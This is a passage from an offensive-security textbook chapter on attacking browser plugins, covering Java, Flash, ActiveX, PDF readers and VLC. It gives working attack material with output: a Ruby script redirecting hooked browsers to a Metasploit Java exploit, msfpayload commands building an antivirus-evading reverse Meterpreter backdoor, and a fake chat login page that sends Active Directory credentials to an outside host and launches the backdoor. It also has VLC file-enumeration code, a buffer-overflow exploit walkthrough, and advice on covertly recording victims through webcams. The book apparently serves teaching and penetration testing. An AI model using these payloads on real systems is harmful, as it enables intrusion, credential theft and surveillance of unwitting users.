Now that the reverse handler is ready to accept connections, as well as the web server serving the malicious JAR and JNLP files, you can proceed with tricking the victim into visiting the highlighted URL. Note it down, because you need to replace the value of the EXPLOIT_URL variable in the following Ruby script:

require 'rest_client'

require 'json'

# RESTful API root endpoints

ATTACK_DOMAIN = "172.16.37.1"

RESTAPI_HOOKS = "http://" + ATTACK_DOMAIN + ":3000/api/hooks"

RESTAPI_LOGS = "http://" + ATTACK_DOMAIN + ":3000/api/logs"

RESTAPI_MODULES = "http://" + ATTACK_DOMAIN + ":3000/api/modules"

RESTAPI_ADMIN = "http://" + ATTACK_DOMAIN + ":3000/api/admin"

# Metasploit exploit URL

EXPLOIT_URL = "http://172.16.37.1:8080/uGDMZKaKGvbP59"

BEEF_USER = "beef"

BEEF_PASSWD = "beef"

@token = nil

@modules = nil

@hooks = nil

def print_banner

puts "[>>>] JDK <= 1.7u17 pwner - with CtP bypass for IE]"

end

def auth

response = RestClient.post "#{RESTAPI_ADMIN}/login",

{ 'username' => "#{BEEF_USER}",

'password' => "#{BEEF_PASSWD}"}.to_json,

:content_type => :json,

:accept => :json

result = JSON.parse(response.body)

@token = result['token']

puts "[+] Retrieved RESTful API token: #{@token}"

end

def get_hooks

response = RestClient.get "#{RESTAPI_HOOKS}",

{:params => {:token => @token}}

result = JSON.parse(response.body)

@hooks = result["hooked-browsers"]["online"]

puts "[+] Retrieved Hooked Browsers list. Online: #{@hooks.size}"

end

def get_modules

response = RestClient.get "#{RESTAPI_MODULES}",

{:params => {:token => @token}}

@modules = JSON.parse(response.body)

puts "[+] Retrieved #{@modules.size} available command modules"

end

def get_module_id(mod_name)

@modules.each do |mod|

#normal modules

if mod_name == mod[1]["class"]

return mod[1]["id"]

break

end

end

end

def pwn

@windows_hooks = []

@hooks.each do |hook|

session = hook[1]["session"]

browser = "#{hook[1]["name"]}-#{hook[1]["version"]}"

if browser.match(/^IE/)

sleep 2

mod_id = get_module_id("Site_redirect")

redirect_to_msf(session, mod_id)

puts "[+] Browser [#{browser}] redirected to " +

"MSF exploit [multi/browser/java_jre17_driver_manager]."+

"Check your MSFconsole..."

else

puts "[+] Skipping browser [#{browser}] because" +

" the Click to Play bypass will not work."

end

end

end

def redirect_to_msf(session, mod_id)

RestClient.post "#{RESTAPI_MODULES}/#{session}/#{mod_id}?\

token=#{@token}",

{"redirect_url" => EXPLOIT_URL}.to_json,

:content_type => :json,

:accept => :json

end

print_banner

# Retrieve the RESTful API token

auth

# Retrieve online hooked browsers

get_hooks

# Retrieve available modules

get_modules

# Redirects

pwn

The Ruby code is using BeEF’s RESTful API to automate the process of sending instructions to specific types of hooked browsers, without the need to use the GUI. When running the script, if any Internet Explorer browsers are hooked, they will be redirected to the highlighted URL:

LON-SP-5DV7P:Ch08 morru$ ruby java_1.7u17_Exploit_rest.rb

[>>>] JDK <= 1.7u17 pwner - with CtP bypass for IE]

[+] Retrieved RESTful API token:8a9ca8fab115a07677b736317c836842420c8131

[+] Retrieved Hooked Browsers list. Online: 1

[+] Retrieved 435 available command modules

[+] Skipping browser [FF-24] because the Click to Play

bypass will not work.

[+] Browser [IE-10] redirected to MSF exploit

[multi/browser/java_jre17_driver_manager].Check your MSFconsole...

When the browser gets redirected to the Metasploit web server URL, the JNLP file is served, as well as the malicious JAR. Metasploit will do the rest of the magic. This includes transmitting and executing the Java Meterpreter stage, and finally executing the full Meterpreter payload on the target machine:

msf exploit(java_jre17_driver_manager) > [*] 172.16.37.149

java_jre17_driver_manager - handling request for /uGDMZKaKGvbP59

[*] 172.16.37.149 java_jre17_driver_manager -

handling request for /uGDMZKaKGvbP59/

[*] 172.16.37.149 java_jre17_driver_manager -

handling request for /uGDMZKaKGvbP59

[*] 172.16.37.149 java_jre17_driver_manager -

handling request for /uGDMZKaKGvbP59/

[*] 172.16.37.149 java_jre17_driver_manager -

handling request for /uGDMZKaKGvbP59/CanPVnBL.jnlp

[*] 172.16.37.149 java_jre17_driver_manager -

handling request for /uGDMZKaKGvbP59/maUmMQvf.jar

[*] Sending stage (30355 bytes) to 172.16.37.149

[*] Meterpreter session 1 opened (172.16.37.1:4444 ->

172.16.37.149:64944) at 2013-09-30 13:08:54 +0100

The advantage of using this exploit is that combined with the Click to Play bypass discussed previously, the attack executes without requiring user intervention. Figure 8-15 shows the Java Console (open only for debugging purposes). The highlighted line shows the Click to Play bypass in the JNLP descriptor.

Figure 8-15: Successful exploitation of CVE 2013-2423

image

This section has briefly demonstrated how to use both Metasploit and BeEF in a collective effort. You configured a Java exploit and CtP bypass combination. You could have potentially done this in fewer steps, but in this instance the end result is interactive, OS-level control over the victim’s computer.

Attacking Flash

Much like Java, Flash is another common plugin that is widely used. Flash is a framework for the creation of animations, interactive applications, and vector graphics. It’s also often used as a method to provide streaming media to a user’s web experience.

Flash maintains its own cookie store that allows for cookies (that can’t be deleted directly from the browser). Flash can also use local storage to cache files, and can access the webcam and the microphone. Flash has the capability to send and receive data to remote targets as well.

Understanding what Flash is, and how to fingerprint and then exploit it, is a useful skill to add to your attack toolkit. The pervasiveness of the plugin and the ability to use it to abuse microphones and webcams make it a valuable target.

As mentioned earlier, Flash is heavily used in interactive online games. Popular Facebook games like Farmville depend on Flash. Although many online games have embraced Flash, the trend appears to be changing, partly due to Apple not having Flash support for the iPhone. This change is causing developers to leverage other ways to build interactive applications and games supported by multiple platforms.

Understanding Shared Objects

Shared Objects are the ActionScript construct that allows for local and remote retrieval of data from a data store. The most common use for Shared Objects is for Flash cookies.

The user does not easily manage Shared Objects. To manage what is being stored, you have to visit the Website Storage Panel.23 Figure 8-16 shows the Storage Panel and shows the information you can see. The panel enables you to set how much data can be stored on your computer, and also allows you to delete existing data.

Unlike browser session cookies, Shared Objects data is not deleted on a regular basis, which is why Flash cookies are so appealing. In addition to basic user information, these data stores may have information about credentials for accessing remote applications or other sensitive data.

Figure 8-16: The Website Storage Settings Panel of the Flash plugin

image

The information from the Shared Objects is also stored on the file system. To view your information on a Mac, you can go to the Library/Preferences/Macromedia/Flash Player/#SharedObjects/ folder in your home directory. On Windows the files exist in C:\Documents and Settings\[username]\Application Data\Macromedia\Flash Player. When reviewing these files, you may find authentication data, information that will modify program functionality, or other excellent tidbits. Because of this, when you have compromised systems, these files are not a bad place to look for information that will aid further exploitation.

ActionScript

ActionScript is an open source scripting language that compiles into bytecode and is leveraged both in Adobe Flash and Apache Flex. The bytecode is executed within an ActionScript Virtual Machine (AVM), which provides a similar sandbox environment to Java. Flash is designed primarily around providing web content; as such, it typically has fewer interactions with the operating system directly. ActionScript is capable of sending network and web requests, accessing certain peripherals, and streaming media to a user.

Though the ActionScript-compiled bytecode is not human-readable, tools such as SWFScan24 can turn the bytecode back into ActionScript. These are useful for the same reason that decompiling Java applications is useful. Frequently these applications contain hard-coded credentials, URLs that may not be linked on pages, and other interesting content. Leveraging this data may enable you to manipulate what a victim will see when you change content through MitM attacks as well.

Harnessing the Webcam and Microphone

The capability to leverage both the microphone and the webcam makes playing around with Flash extremely interesting. The default security setting for both the microphone and webcam is to deny access. When you right-click a Flash applet and choose Settings, you can investigate your current settings. Figure 8-17 shows the settings that allow or deny use of the microphone or camera.

Figure 8-17: Adobe Flash camera and microphone settings

image

If you can trick someone into enabling this feature, Flash applets can access the camera and microphone. Furthermore, if you trick the victim into checking the Remember option, Flash will remember the setting for any Flash applets in the future within the context of the current origin. This setting is not Flash-applet–specific, so any other Flash applet from the same site will be allowed.

Leveraging this feature as part of a social engineering attack is useful. For example, if you trick someone into executing a Flash game that takes a picture with the webcam and draws a funny hat on top, you can leverage that toward future compromise. Once the victim allows an origin to access the camera and microphone, you can send a follow-up, hidden, 1x1 pixel Flash app that simply records their microphone and camera, as demonstrated in Chapter 5.

The APIs used to access the camera are found in the ActionScript reference25 manual under the Camera class. You can use the Camera class to record video, get video statistics, and set the Frames Per Second (FPS) of the camera. Individual shots can be taken by setting the FPS to 0. To determine whether or not the camera is enabled, you can query the name attribute of the Camera class to indicate if a camera is present. If the name attribute is empty, there may not be a camera available.

The Microphone API has similar functionality. There is an ActionScript reference26 for it as well. The microphone has the capability to record audio, determine how much sound is being detected, and disable echo suppression and other tasks. To send audio data over the Internet, the Microphoneclass is used in conjunction with the NetStream class.

One of the most common methods (though now patched) was to socially engineer a victim into changing these Flash privacy settings through Clickjacking attacks. As discussed in Chapter 4, the concept was to leverage transparent IFrames and DIV elements to present UI elements to a victim. However, when these elements were clicked, they were actually modifying the Flash privacy settings, giving the origin elevated access.

Fuzzing Flash

Just like a lot of technologies, Flash can be fuzzed to find crashes. Of course, security researchers have done this on numerous occasions in the past to discover various exploitable conditions.

A notable effort on finding exploitable bugs in Flash was performed by the Google Security team27 in 2011. They fuzzed Flash at scale by analyzing an enormous set of Flash files.

This investigation identified about 400 unique crash signatures, 106 of which were flagged as security bugs. Google’s Security team first collected about 20TB of SWF files. Out of that, they created a minimal set of 20,000 unique files. These files were mutated and fed into Flash Player while monitoring crashes.

Radamsa

If you want to learn more about fuzzing, you should try Radamsa, an open source, black box mutator from the Finnish University of Oulu. You can find out more about Radamsa from https://www.ee.oulu.fi/research/ouspg/Radamsa.

Attacking ActiveX Controls

ActiveX is a Microsoft plugin architecture for browsers that enables developers to build additional functionality into the browser. ActiveX controls can do anything from creating animations to installing software on a system. Because they have the power to bridge the gap between browser and operating system, they are also a prime target for exploitation. Many sites require additional functionality from ActiveX in order to function properly.

Some ActiveX controls will be familiar, such as Adobe Flash, Java, or Windows Update. Some controls provide site-specific functionality such as authentication and certificate management. At the time of writing, Chinese Banking Sites28 are one such example. By understanding how these controls work and how to exploit them, you can leverage vulnerabilities in them to fingerprint browsers, manipulate execution, and gain system access.

Although ActiveX is designed for Internet Explorer, there is a plugin for Chrome29 and for Firefox30 to allow ActiveX to execute without having to open an Internet Explorer window. The primary limitation of these plugins is that they are still required to be run under Windows because ActiveX is compiled code.

Exploiting ActiveX

Exploiting ActiveX isn’t always straightforward. Sometimes two different attacks have to be combined to achieve access to more protected resources. In the following example, you see how to leverage both access to a corporate share as well as knowledge that a plugin is installed in order to exploit a host.

The module that is investigated is the Mitsubishi MC-WorX31 ActiveX plugin. This plugin is part of Mitsubishi’s MC-WorX SCADA suite, and assists with visualizations for manufacturing systems. The plugin that you exploit is designed to act as a launcher for the program itself. The flaw that was discovered by Blake32 allows an arbitrary filename to be specified for launch. The problem is, the exploit only allows for local filenames. UNC paths33 are not allowed; however, if a UNC path has been mapped to a drive letter, those paths will work. This is commonly seen in corporate environments, with department file shares and other corporate resources. In these situations, it is likely that there is some other less-privileged user that you may want to attack that has some access to the corporate share.

In this example, you create a Metasploit payload, set up a handler, and create a sample page that you want a victim to visit. You can coerce someone into visiting this page by injecting it into a legitimate page via Ettercap, modifying a web share on the intranet, or delivering it as part of a phishing campaign.

The assumption is that the plugin is already installed on the target system. However, Chris Gates presented some techniques34 to trick users into installing the vulnerable plugin first under the pretext that it was necessary to view content that would ultimately exploit the user. Regardless of how the target has the software installed, assume your target has the plugin installed.

Metasploit Utilities

You can interact with the Metasploit framework in many different ways. Chapter 6 previously demonstrated Metasploit through the interactive console interface, or msfconsole. Other important Metasploit commands include:

· Msfpayload—A command-line utility to generate Metasploit’s payloads.

· Msfencode—A command-line utility to encode shellcode. Quite often msfpayload and msfencode are performed together to output a particular payload, and then encode it.

· Msfvenom—A command that combines msfpayload and msfencode directly.

· Msfgui—An interactive, graphical user interface for Metasploit.

The next step is to create and upload a Meterpreter payload that will then be delivered and executed by the victim. The assumption for this is that your IP address is 192.168.1.132. You need to specify your payload, port, and IP address to msfpayload to generate your Meterpreter backdoor.

In addition, you probably want to use msfencode to further encode the binary to make it less likely to be picked up by antivirus. This goes through periods of being effective or ineffective. If the payload is detected by antivirus, try using a packer such as Hyperion35 or, even better, Veil.36 The following shell command combines msfpayload and msfencode to create the binary:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.132\

LPORT=8675 R | msfencode -c 3 -t exe > backdoor.exe

This creates a reverse Meterpreter payload that is encoded three times and saves the executable file as backdoor.exe. Next, you need the accompanying Metasploit handler to allow the payload to connect back to you. To do this, you need to start up Metasploit’s msfconsole, and then start themulti/handler with the following options:

msf> use multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.1.132

LHOST => 192.168.1.132

msf exploit(handler) > set LPORT 8675

LPORT => 8675

msf exploit(handler) > set ExitOnSession false

ExitOnSession => false

msf exploit(handler) > exploit -j

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.132:8675

[*] Starting the payload handler...

You can see here that the handler is listening at this point, and because you have launched it with the -j option it will run in the background and accept multiple incoming shells. This is handy when you possibly have many victims connecting back to you.

The next step is to build a page that is convincing enough for users to click the malicious link. Various techniques for coercing victims into executing malicious code via the browser are covered in Chapter 5, such as abusing UI expectations or fake software updates.

First, create an HTML page that appears to be a chat program. The page will have two features: a login box that encourages login to Active Directory, and a login button. The button that the plugin creates will say Login Client, so you can consider killing two birds with one stone and creating a credential capture as well as an exploit:

<html>

<body>

<script>

function submitData()

{

var x = document.getElementById("sploit");

var url = "http://browserhacker.com/capture.rb?un=" +

x.elements[0].value + "&pw=" + x.elements[1].value;

document.getElementById('t1').background=url;

}

</script>

<div align=center>

<form id="sploit" >

<table id='t1' border=0 background="">

<tr><th colspan=2>BrowserVictim.com Chat System<BR>

Please Log in with your ActiveDirectory Credentials</th></tr>

<tr><th>Username:</th><td><input type=text name="user"></td></tr>

<tr><th>Password:</th><td><input type=password name="pass"

onBlur="submitData()"></th></tr>

<tr><th colspan=2>

<object classid='clsid:C28A127E-4A85-11D3-A5FF-00A0249E352D'

id='target'>

</object>

</tr></td>

</form>

<BR>

</div>

<script language='vbscript'>

document.getElementById("target").fileName = "Z:\\backdoor.exe"

</script>

</body>

</html>

The code watches for changes on the password field with the onBlur method, and when triggered it calls the submitData function. This function attempts to set the background of the table containing login information to an image, which is actually sending the username and password as part of a GET request to browserhacker.com. When the user clicks the button to log in, it will launch the backdoor. The page when viewed should appear like Figure 8-18.

Figure 8-18: The fake login page for a chat program

image

Once the Login Client button is clicked, the ActiveX control attempts to call backdoor.exe. To optimize your chances of success, you may want to name it something a little less obvious, such as “chatclient.exe,” and tailor the name to the fake web page you have created. Figure 8-19 shows the pop-up warning users will get if the file is not signed.

Figure 8-19: The unsigned application pop-up

image

Once the user clicks OK, the program calls home to your Metasploit listener. Metasploit will create a new session and allow you to interact with your new Meterpreter session:

msf exploit(handler) > [*] Sending stage (752128 bytes) to 192.168.1.198

[*] Meterpreter session 7 opened (192.168.1.132:8675 ->

192.168.1.198:50407) at 2013-09-17 01:09:01 -0400

msf exploit(handler) > sessions -i 7

[*] Starting interaction with 7...

meterpreter > sysinfo

Computer : WIN-758UJIVA5C3

OS : Windows 7 (Build 7600).

Architecture : x86

System Language : en_US

Meterpreter : x86/win32

meterpreter >

Though this attack is slightly more complicated, it is also possible to attack ActiveX directly like many other plugins. Vulnerabilities are found all the time in plugins, so it’s a matter of finding a suitable exploit for the target platform.

Attacking PDF Readers

PDF reader software such as Acrobat and Foxit are popular targets for malware authors. The primary reason is that PDF documents have a lot of features, and many of them present rich landscapes for attack. For instance, PDF documents can contain JavaScript, binary streams, and images. When you combine these things together, it’s possible to both obfuscate code as well as execute that code on page load.

This combination has led to frequent vulnerabilities in PDF readers, with Adobe Acrobat being the most popular for both usage and exploitation. In the following section, you learn how to detect PDF readers, how to leverage them for additional access, and how to exploit them for shell access.

Similar to its previous fuzzing Flash file efforts, Google also managed to collect a massive number of PDF files, which were used for fuzzing and bug finding. With this data set, Mateusz Jurczyk and Gynvael Coldwind were able to identify 50 bugs rated from low to high severity within Chrome’s PDF Reader. Using this data set to fuzz Adobe’s PDF Reader also identified at least an additional 25 critical vulnerabilities, many of which were subsequently patched.37

Using JavaScript in PDFs

JavaScript in PDF files has been the source of many of the PDF exploits. PDF files can include JavaScript that has access to the document as a whole. This is similar to a browser DOM in that a PDF document has objects and methods as well. These methods can allow JavaScript events to fire on PDF elements. This functionality was designed to support interactive forms and documents, providing data validation and enhanced forms.

JavaScript is a feature that even Adobe has recommended turning off to prevent certain attacks.38 As a result, many security professionals recommend disabling JavaScript by default on PDF readers to prevent many of the common attacks.

Universal XSS

There have been instances where JavaScript inside PDF files has led to exploitable behavior. For example, this occurred with the Universal XSS (UXSS) vulnerability in Acrobat Reader. Stefano Di Paola and Giorgio Fedon shared the research behind this discovery at the 23C3 conference.39 The UXSS vulnerability allows a user to pass arguments into a PDF that will then be able to be processed by the JavaScript inside the document.

The vulnerability leverages the fact that older versions of Acrobat on Firefox parse variables from the URL. Values such as #FDF and #XML are handled, and the values processed. Therefore, by passing in a value such as http://browserhacker.com/test.pdf#FDF=javascript:alert('xss'), the JavaScript will be rendered and an alert box will pop up.

Though this has been fixed in newer versions of Acrobat Reader, this type of vulnerability is one to watch out for not just with Acrobat, but with other plugins as well. The ability to pass external values that influence code execution could lead to more serious issues like remote code execution. For this weakness in Acrobat Reader, a double free vulnerability40 was also found that could be leveraged through a URI argument. This makes it even easier to attack older versions of Acrobat.

Launching Another Browser

One of the features of PDFs is the capability to cause a browser to launch and request a specified URL. Using the app.launchURL method, you can cause the OS to launch the default browser.

BeEF uses this functionality to hook the default browser from whatever browser a user is employing. This allows whatever the default browser is to be hooked, hopefully allowing for additional exploitation. To use this method, you simply need to call the JavaScript code:

app.launchURL("http://browserhacker.com:3000/demos/report.html",true);

Using this method, the PDF launches the URL that will be handled by the default browser. This will load a new hook granting you access to the new browser session as well. The Hook Default Browser module as seen in Figure 8-20 takes a hooked browser and sends it a PDF. The PDF in turn launches the URL back to the hook, and the default browser launches with the new hooked page.

Figure 8-20: The “Hook Default Browser” module in BeEF

image

There’s a chance that the user may see a pop-up when executing this method, alerting him that an external window was launched. Pay attention to whether the stoplight for the module is green or red, because certain browsers react better to this technique than others.

This attack scenario is particularly useful in corporate environments. If a victim is hooked through Chrome, but the default browser happens to be the corporate-sanctioned IE 7 or IE 8, then this method will widen your attack surface.

Attacking Media Plugins

Plugins such as VLC, RealPlayer, and QuickTime are also favorites for exploitation. These plugins read specific file format types and render the media. The types of attacks these are vulnerable to are called file format vulnerabilities. These are based on files that are malformed in some way that causes the browser plugin to overwrite pieces of memory, and hopefully execute malicious code.

Media plugins are detected in the browser the same way as other plugins. Plugins may support multiple MIME types for the various types of files that a single plugin may handle. This is particularly the case with media plugins. QuickTime, for instance, handles both .mp4 and .mov files, so there would be two MIME types to reflect that.

Media plugins also frequently have to stream data from other servers, load additional files, and perform other activities that may lead to vulnerabilities. In this section you look at how to enumerate files with VLC, and execute file format exploits through Metasploit against vulnerable plugins.

Resource Scanning with VLC

As mentioned earlier, media players often have to deal with streaming files and other media while being controlled inside the browser. This functionality is a factor in a VLC ActiveX control weakness discovered by Jason Geffner. By adding in a playlist item and trying to play it, the ActiveX VLC Plugin will give feedback as to whether or not the file in the playlist was valid.

Using this technique, it’s possible to fingerprint directories and files on a remote target system. By adding each item and then checking for an error, you can get immediate feedback as to the existence of a file. This technique can help in fingerprinting OS and installed software versions, identifying users, and even mapping out internal shares:

<object style="visibility:hidden"

classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921"

width="0" height="0" id="vlc"></object>

<script>

vlc.playlist.clear();

vlc.playlist.add(items[i]);

vlc.playlist.playItem(0);

vlc.attachEvent("MediaPlayerPlaying", onFound);

vlc.attachEvent("MediaPlayerEncounteredError", onNotFound);

</script>

By creating an ActiveX object, clearing the playlist, adding an item, and then playing it, one of two things will happen: the ActiveX object will produce an error, or it will trigger a playing event. By catching these events, additional JavaScript can be fired to alert you of the existence of a file.

The following code enumerates multiple resources defined in the items array:

try {

var result = "";

var i = 0;

// create div to attach VLC object

var newdiv = document.createElement('div');

var divIdName = 'temp_div';

newdiv.setAttribute('id',divIdName);

newdiv.style.width = "0";

newdiv.style.height = "0";

newdiv.style.visibility = "hidden";

document.body.appendChild(newdiv);

// create object

document.getElementById("temp_div").innerHTML =

"<object style=\"visibility:hidden\"" +

" classid=\"clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921\"" +

" width=\"0\" height=\"0\" id=\"vlc\"></object>";

var items = [

"C:\\Program Files (x86)\\Microsoft Silverlight\\5.1.20125.0",

"C:\\Program Files (x86)\\Sophos\\Sophos Anti-Virus",

"C:\\Users\\wade",

"C:\\Users\\morru"

]

function onFound(event){

result += items[i] + "\n";

i++;

console.log("Found");

next();

}

function onNotFound(event){

i++;

console.log("Not Found");

next();

}

function next(){

if (i >= items.length){

vlc.playlist.stop();

// return results to the framework

console.log("Discovered resources:\n" + result);

// clean up

var rmdiv = document.getElementById("temp_div");

document.body.removeChild(rmdiv);

return;

}

vlc.playlist.clear();

vlc.playlist.add("file:///" + items[i]);

console.log("Adding item " + items[i] + " to playlist.");

vlc.playlist.playItem(0);

}

vlc.attachEvent("MediaPlayerPlaying", onFound);

vlc.attachEvent("MediaPlayerEncounteredError", onNotFound);

next();

} catch(e) {}

After running this code on Internet Explorer, as shown in Figure 8-21, you are able to determine that Sophos Anti-Virus is installed. This information might be helpful for your next attacks. For example, knowing that the victim you want to target uses Sophos Anti-Virus, the binaries you will use in your attacks will be encoded to bypass that particular AV.

You also discover a valid user, morru, which might help you with further hacking activities. Using this technique, it’s possible to enumerate installed software versions (if the software has a file or directory name containing the version). In this instance, the exact version of Silverlight was determinable, but the same can be obtained with Java and other software.

Figure 8-21: Enumerating local resources through VLC

image

Exploiting Media Players

This example takes advantage of a weakness in VLC players prior to version 2.0. The weakness that you will be exploiting is the “VLC MMS Stream Handling Buffer Overflow” vulnerability. This vulnerability uses Internet Explorer to launch VLC with a malicious URL, and when VLC handles that URL, it leads to an SEH41 overwrite that will end up executing a payload.

To launch the malicious URL in Metasploit’s msfconsole, you can execute the following:

msf> use exploit/windows/browser/vlc_mms_bof

msf exploit(vlc_mms_bof) > set URIPATH /vlc

URIPATH => /vlc

msf exploit(vlc_mms_bof) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(vlc_mms_bof) > set LHOST 192.168.1.132

LHOST => 192.168.1.132

msf exploit(vlc_mms_bof) > set LPORT 8675

LPORT => 8675

msf exploit(vlc_mms_bof) > exploit

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.132:8675

[*] Using URL: http://0.0.0.0:8080/vlc

[*] Local IP: http://192.168.1.132:8080/vlc

[*] Server started.

Once the server is started, just send the browser to your Metasploit exploit. In this instance, it is http://192.168.1.132:8080/vlc. The browser will take a moment and then show a black box where the media should be playing, as in Figure 8-22. Once the user sees this, you should already have a shell waiting inside Metasploit.

Figure 8-22: The browser window as it will appear once the exploit is successful

image

The Meterpreter payload automatically migrates into a new process. This is because once the exploit has succeeded, the browser will be unstable. In this situation, the new process will help make sure that the Meterpreter payload remains longer than a few moments. The Metasploit console should display something like this:

[*] 192.168.1.16 vlc_mms_bof - Sending malicious page

[*] Sending stage (752128 bytes) to 192.168.1.16

[*] Meterpreter session 3 opened (192.168.1.132:8675

-> 192.168.1.16:1095) at 2013-09-18 02:40:19 -0400

[*] Session ID 3 (192.168.1.132:8675 -> 192.168.1.16:1095)

processing InitialAutoRunScript 'migrate -f'

[*] Current server process: iexplore.exe (2000)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 2308

[+] Successfully migrated to process

msf exploit(vlc_mms_bof) > sessions -i 3

[*] Starting interaction with 3...

meterpreter > sysinfo

Computer : VM-1

OS : Windows XP (Build 2600, Service Pack 3).

Architecture : x86

System Language : en_US

Meterpreter : x86/win32

The browser will likely not crash immediately, so it may not even be clear that the malicious page was the source of the crash. This same attack is used in a variety of scenarios, including injecting into advertisement blocks, drive-by downloads, and phishing attacks. The page appears to the user as a video that just didn’t load, but behind the scenes something much more sinister is occurring. The attacker already has a shell by the time the user realizes that something is amiss. Will you ever look at videos that don’t load the same way again?

Summary

Browser plugins make for an enhanced browsing experience. Whether to view new media types, provide application functionality, or communicate with others, plugins open up new opportunities on the web. These same functionalities provide new avenues for attack as well. It’s not difficult to fingerprint what plugins are installed in a browser. Through querying the DOM or trying to load ActiveX plugins, BeEF can determine what plugins are loaded, and identify those that might be vulnerable.

The Click to Play security feature implemented in Java, Firefox, and Chrome, although certainly a good attack mitigation factor, has been proven to be vulnerable. The Click to Play bypasses on Java and Firefox discussed in this chapter are just (patched) examples, but you can be sure that more bypasses will be discovered.

The prevalence of plugins such as Java, ActiveX, and other media plugins were discussed at length within the chapter, but it’s important to remember the explored techniques are equally applicable to other plugins as well. You may encounter a less popular plugin during an endpoint security assessment, and as long as the plugin is freely available, there’s nothing preventing you from trying to analyze it for weaknesses.

Another important facet of this attack surface is that it doesn’t depend solely on the browser, but the third-party application component as well. If you’re aware of other vulnerable applications on a victim’s system, there’s nothing preventing you from trying to launch those attacks through the browser.

Exploits such as local file execution can be coupled with more sophisticated attacks to gain elevated access on a target system. Other exploits are much more direct, with a single URL allowing for exploitation and access. Plugin sandboxes try to prevent this, but by using signed plugins, social engineering, or established trust relationships, these barriers can be broken through to achieve exploitation.

Recent announcements from the Chromium team42 have also shed light on the future of browser plugins. Due to stability and security concerns, Chrome will retire its support of the legacy Netscape Plugin API (NPAPI) by the end of 2014. With Mozilla’s changes to Firefox requiring users to accept every plugin prior to execution,43 it may appear that this attack surface is starting to slow down.

Regardless of the slow decline of plugin support in Chrome and Firefox, plugins will not disappear overnight. In addition, we’re not expecting to see Microsoft remove ActiveX support anytime soon due to legacy, enterprise requirements. Despite the countermeasures, the browser plugin landscape will be a gateway into vulnerable systems as long as users are willing to click Accept.

Questions

1. How are plugins and add-ons different?

2. What is an efficient method to detect plugins in Internet Explorer?

3. What is an efficient method to detect plugins in Firefox?

4. How does the web browser determine which plugin to use?

5. When is a signed Java applet potentially exploitable?

6. Why would an application override the signed applet permission model?

7. Can unsigned Java applets execute operating system commands?

8. What are two ways to identify sites that have stored Flash data?

9. How can you detect if you have permission to access the webcam via Flash?

10. Why are local file execution vulnerabilities impactful in corporate environments?

For answers to the questions please refer to the book’s website at https://browserhacker.com/answers or the Wiley website at: www.wiley.com/go/browserhackershandbook.

Notes

1. Mozilla Developer Network. (2013). Putting Users in Control of Plugins. Retrieved October 23, 2013 from https://blog.mozilla.org/security/2013/01/29/putting-users-in-control-of-plugins/

2. Mozilla Blog. (2012). Click-to-Play Plugins Blocklist-Style. Retrieved October 23, 2013 from https://blog.mozilla.org/security/2012/10/11/click-to-play-plugins-blocklist-style/

3. Microsoft TechNet Blogs. (2008). The Kill-Bit FAQ. Retrieved October 23, 2013 from http://blogs.technet.com/b/srd/archive/2008/02/06/the-kill_2d00_bit-faq_3a00_-part-1-of-3.aspx

4. The Next Web. (2013). Apple takes no prisoners. Retrieved October 23, 2013 from http://thenextweb.com/apple/2013/01/11/apple-takes-no-prisoners-immediately-blocks-java-7-on-os-x-10-6-and-up-to-protect-mac-users

5. CERT KnowledgeBase. (2013). ActiveX kill bits. Retrieved October 23, 2013 from https://www.kb.cert.org/vuls/id/636312.

6. Mozilla Developer Network. (2013). Navigator. plugins. Retrieved October 23, 2013 from https://developer.mozilla.org/en-US/docs/Web/API/NavigatorPlugins.plugins

7. PinLady. (2011). Plugin Detect. Retrieved October 23, 2013 from http://www.pinlady.net/PluginDetect/

8. Mozilla. (2013). Plugin Check. Retrieved October 23, 2013 from https://www.mozilla.org/en-US/plugincheck/

9. Mozilla Buzilla. (2013). Click to Play bypass bug. Retrieved October 23, 2013 from https://bugzilla.mozilla.org/show_bug.cgi?id=838999

10. Immunity. (2013). Keep calm and run this applet. Retrieved October 23, 2013 from http://immunityproducts.blogspot.com.ar/2013/02/keep-calm-and-run-this-applet.html

11. Docstore.mik.ua. (2008). Serialized Applets. Retrieved October 23, 2013 from http://docstore.mik.ua/orelly/java/javanut/ch09_04.htm

12. Immunity. (2013). Yet Another Java Security Manager Warning Bypass. Retrieved October 23, 2013 from http://immunityproducts.blogspot.co.uk/2013/04/yet-another-java-security-warning-bypass.html

13. Oracle. (2012). Applet migration with JNLP. Retrieved October 23, 2013 from http://www.oracle.com/technetwork/java/javase/applet-migration-139512.html

14. Wikipedia. (2013). Java version history. Retrieved October 23, 2013 from http://en.wikipedia.org/wiki/Java_version_history

15. CVE Details. (2013). Denial of Service Attack. Retrieved October 23, 2013 from http://www.cvedetails.com/vulnerability-list/vendor_id-5/product_id-1526/SUN-JRE.html

16. Danskebank. (2013). eBanking technical requirements. Retrieved October 23, 2013 from http://www.danskebank.ie/en-ie/Personal/eBanking/Support/Pages/Technical-requirements.aspx

17. Oracle. (2010). Applet security. Retrieved October 23, 2013 from http://docs.oracle.com/javase/tutorial/deployment/applet/security.html

18. JDGUI. (2013). JDGUI. Retrieved October 23, 2013 from http://java.decompiler.free.fr/?q=jdgui

19. Ars Technica. (2012). Yet another java flaw allows “complete” bypass of security sandbox. Retrieved November 10, 2013 from http://arstechnica.com/security/2012/09/yet-another-java-flaw-allows-complete-bypass-of-security-sandbox/

20. Security Obscurity. (2013). Deobfuscating Java 1.7u11 Exploit. Retrieved October 23, 2013 from http://security-obscurity.blogspot.co.uk/2013/02/deobfuscating-java-7u11-exploit-from.html

21. Oracle. (2013). Java reflection. Retrieved October 23, 2013 from http://docs.oracle.com/javase/tutorial/reflect/

22. Rapid7. (2013). CVE-2013-2423 Java Applet Reflection Type Confusion Remote Code Execution | Rapid7. Retrieved October 23, 2013 from http://www.rapid7.com/db/modules/exploit/multi/browser/java_jre17_reflection_types

23. Macromedia. (2013). Website Storage Settings panel. Retrieved October 23, 2013 from http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager07.html

